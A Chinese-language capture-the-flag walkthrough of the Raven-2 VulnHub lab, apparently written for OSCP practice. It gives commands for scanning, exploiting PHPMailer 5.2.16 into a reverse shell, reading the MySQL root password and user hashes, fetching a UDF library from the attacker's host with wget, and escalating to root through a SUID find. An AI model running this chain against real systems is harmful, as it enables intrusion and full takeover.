【OSCP-vulnhub】Raven-2
目录
端口扫描
本地/etc/hosts文件解析
目录扫描:
第一个flag
利用msf下载exp
flag2
flag3
Mysql登录
查看mysql的运行权限
MySql提权:UDF
查看数据库写入条件
查看插件目录
查看是否可以远程登录
gcc编译.o文件
创建so文件
创建临时监听
执行sql语句
创建数据表feng
插入数据文件
导出数据
创建自定义函数do_system
查询一下添加的函数
利用do_system给find命令赋予suid权限
find命令提权
The end(获取flag)
flag4{df2bc5e951d91581467bb9a2a8ff4425}
端口扫描
nmap -sS -p- 192.168.56.105 -sV -A --version-all -sC
访问网站发现没什么可关注的点,点到blog的时候显示不可访问
这个时候就联想到了
本地/etc/hosts文件解析
就能正常访问了。。
目录扫描:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.105
诶嘿,扫出了蛮多个目录的
在/vendor/PATH发现
第一个flag
在readme发现很多关于PHPMailer的信息
以及http://192.168.56.105/vendor/VERSION在这里面提示版本为5.2.16
我们随即便去查找一下相关的exp
利用msf下载exp
修改代码
依次修改可以发送邮件的路径,要定义的后门文件/shell.php,要回连的地址以及端口,还有网站的后门文件保存路径
python 40974.py
接着访问/contact.php触发后门文件再访问/shell.php就可以进行反弹shell。。。
建立交互式终端
python -c 'import pty;pty.spawn("/bin/bash")'
查找flag
find / -name flag*
找到两个有关flags的信息
-
/var/www/flag2.txt
-
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
flag2
cat /var/www/flag2.txt
flag3
接着在wordpress目录发现数据库密码
用户名:root,密码:R@v3nSecurity
Mysql登录
mysql -uroot -pR@v3nSecurity
mysql> show databases;
+--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | wordpress | +--------------------+
mysql> use wordpress
mysql> show tables;
+-----------------------+ | Tables_in_wordpress | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+
select * from wp_users;
michael | BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | B6X3H3ykawf2oHuPsbjQiih5iJXqad.
查看mysql的运行权限
是root权限在运行
ps -aux | grep mysql
MySql提权:UDF
查看数据库写入条件
show global variables like 'secure%';
+------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录
show variables like '%plugin%';
+---------------+------------------------+ | Variable_name | Value | +---------------+------------------------+ | plugin_dir | /usr/lib/mysql/plugin/ | +---------------+------------------------+
查看是否可以远程登录
use mysql
select user,host from user;
+------------------+-----------+ | user | host | +------------------+-----------+ | root | 127.0.0.1 | | root | ::1 | | debian-sys-maint | localhost | | root | localhost | | root | raven | +------------------+-----------+
发现root用户不允许远程登录,所以不能使用MSF提权
searchsploit udf
gcc编译.o文件
gcc -g -c 1518.c
创建so文件
gcc -g -shared -Wl,-soname,exp.so -o exp.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-Wl,-soname,exp.so
-Wl
表示将后续参数传递给链接器(ld
)。
-soname,exp.so
设置动态库的 内部名称(SONAME
),影响动态链接时的库查找行为。
-o:执行命令后的文件名
-lc:-l 库 c库名
创建临时监听
python -m http.server 8080
wget http://192.168.56.103:8080/1518.so -O test.so
执行sql语句
use mysql;
创建数据表feng
create table feng(line blob);
插入数据文件
insert into feng values(load_file('/tmp/test.so'));
导出数据
-
outfile 多行导出,dumpfile一行导出
select * from feng into dumpfile '/usr/lib/mysql/plugin/test.so';
创建自定义函数do_system
(或者sys_exec)类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'test.so';
查询一下添加的函数
select * from mysql.func;
利用do_system给find命令赋予suid权限
select do_system('chmod u+s /usr/bin/find');
find命令提权
创建一个文件:touch feng
find / -name feng -exec "/bin/sh" \;
id uid=33(www-data) gid=33(www-data) euid=0(root)
groups=33(www-data)
The end(获取flag)
cd /rootlscat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}
好啦,本文的内容就到这了,希望对你有所帮助。。